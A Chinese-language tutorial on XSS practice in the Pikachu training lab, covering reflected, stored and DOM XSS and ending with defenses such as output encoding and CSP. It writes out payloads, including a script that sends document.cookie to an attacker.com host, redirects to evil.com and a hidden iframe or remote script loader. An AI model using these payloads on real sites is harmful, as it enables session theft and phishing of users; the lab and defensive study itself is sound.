Pikachu(皮卡丘靶场)实战XSS:从标签事件到高级Payload的攻防演练

发布时间:2026/5/18 12:59:19

Pikachu(皮卡丘靶场)实战XSS:从标签事件到高级Payload的攻防演练 1. 初识XSS与Pikachu靶场环境搭建跨站脚本攻击XSS就像在别人的网页里偷偷塞小纸条当其他用户打开这个网页时小纸条上的内容就会被浏览器执行。想象一下你在图书馆的公共留言板上贴了一张看似普通的便利贴实际上却写着请大声念出这句话——这就是XSS最形象的比喻。Pikachu靶场是个专门为安全学习打造的虚拟训练场我把它比作网络安全版的乐高积木。第一次启动时需要先配置PHP环境推荐用XAMPP一键安装把下载的靶场文件解压到htdocs目录。启动Apache服务后在浏览器访问localhost/pikachu就能看到这个萌系界面的实战平台。这里有个小技巧如果遇到端口冲突可以到XAMPP控制面板修改Apache的默认端口为8080。靶场左侧菜单的XSS板块就像游戏关卡包含四种经典攻击场景反射型XSSGET/POST像镜子一样即时反射用户输入存储型XSS像留言板永久保存恶意代码DOM型XSS通过修改网页结构触发漏洞 新手建议按这个顺序逐步挑战每完成一个关卡就记录下使用的payload我习惯用Markdown表格来整理攻击效果对比。2. 反射型XSS实战从弹窗到Cookie窃取2.1 GET型攻击的经典操作在Which NBA player do you like?这个模拟搜索框里我第一次尝试输入scriptalert(1)/script却失败了——因为输入长度被限制。这时候需要打开浏览器开发者工具F12直接在Network标签里修改message参数值。这里有个细节如果弹窗内容包含字符串记得用引号包裹比如scriptalert(黑客入门)/script。实际渗透测试中我们更关注如何窃取用户凭证。通过构造scriptalert(document.cookie)/script可以弹出当前会话的Cookie信息。去年某电商平台漏洞就允许攻击者通过商品评论栏窃取用户登录状态原理与此完全相同。在Pikachu里成功获取的Cookie格式通常是ant[uname]admin; ant[pw]加密密码; PHPSESSID会话ID2.2 POST型攻击的进阶技巧登录后台的POST型漏洞更有实战价值。先用弱口令admin/123456登录后在留言板测试这些payloadscriptprompt(输入你的密码:, )/script scriptnew Image().srchttp://attacker.com/steal?cookiedocument.cookie/script第二个payload会把Cookie发送到攻击者服务器这种手法在真实钓鱼攻击中经常出现。记得2019年某论坛漏洞就是利用这种存储型XSS批量窃取用户数据。3. 存储型XSS的持久化攻击3.1 网页跳转的多种实现存储型XSS最可怕之处在于一劳永逸我在测试时上传的恶意代码会永远留在服务器上。这三个跳转payload各有特点window.location.href https://evil.com // 保留原页面历史记录 window.location.replace(https://evil.com) // 不可回退的跳转 window.assign(https://evil.com) // 保留原页面但加载新内容实测发现replace方法最适合钓鱼攻击因为用户无法通过返回按钮回到原网站。去年某高校教务系统漏洞就曾被利用来跳转至伪造的登录页面。3.2 组合攻击的威力更危险的攻击是结合iframe标签实现挂马iframe src恶意网址 styledisplay:none/iframe script srchttp://恶意域名/exploit.js/script这种手法可以静默加载远控脚本配合Metasploit框架能获取完整系统权限。防御关键在于设置CSP内容安全策略白名单。4. DOM型XSS的隐蔽攻击4.1 事件触发的高级玩法DOM型XSS就像网页的后门不经过服务器直接在前端触发。在Pikachu的DOM-XSS关卡我测试出这些有趣payloadimg src# onmouseoveralert(1) // 鼠标悬停触发 onclickalert(1) // 点击链接触发 javascript:alert(1) // URL伪协议触发最近流行的SVG向量图形攻击也很典型svg/onloadalert(1) svgscriptalert(1)/script/svg4.2 现代前端框架的盲区即使是React/Vue等框架如果错误使用dangerouslySetInnerHTML或v-html指令仍然会导致DOM-XSS。我在审计某Vue项目时曾发现这样的漏洞代码div v-htmluserControlledInput/div正确的防御方法是始终使用{{ }}插值表达式或进行HTML实体编码。5. 防御方案与实战建议5.1 输入输出过滤的黄金法则根据OWASP推荐我总结的防御矩阵应该包括输入验证白名单过滤特殊字符输出编码根据上下文选择HTML/URL/JS编码HTTP头设置X-XSS-Protection、Content-Security-Policy以PHP为例正确的输出编码应该这样写echo htmlspecialchars($input, ENT_QUOTES, UTF-8);5.2 靶场训练的进阶路线建议按这个路线提升XSS实战能力基础完成Pikachu所有XSS关卡进阶在DVWA中尝试安全等级调整实战BugBounty平台寻找真实漏洞 每次测试后要记录攻击向量和绕过方法我维护的笔记里已经积累了20种变形payload。

相关新闻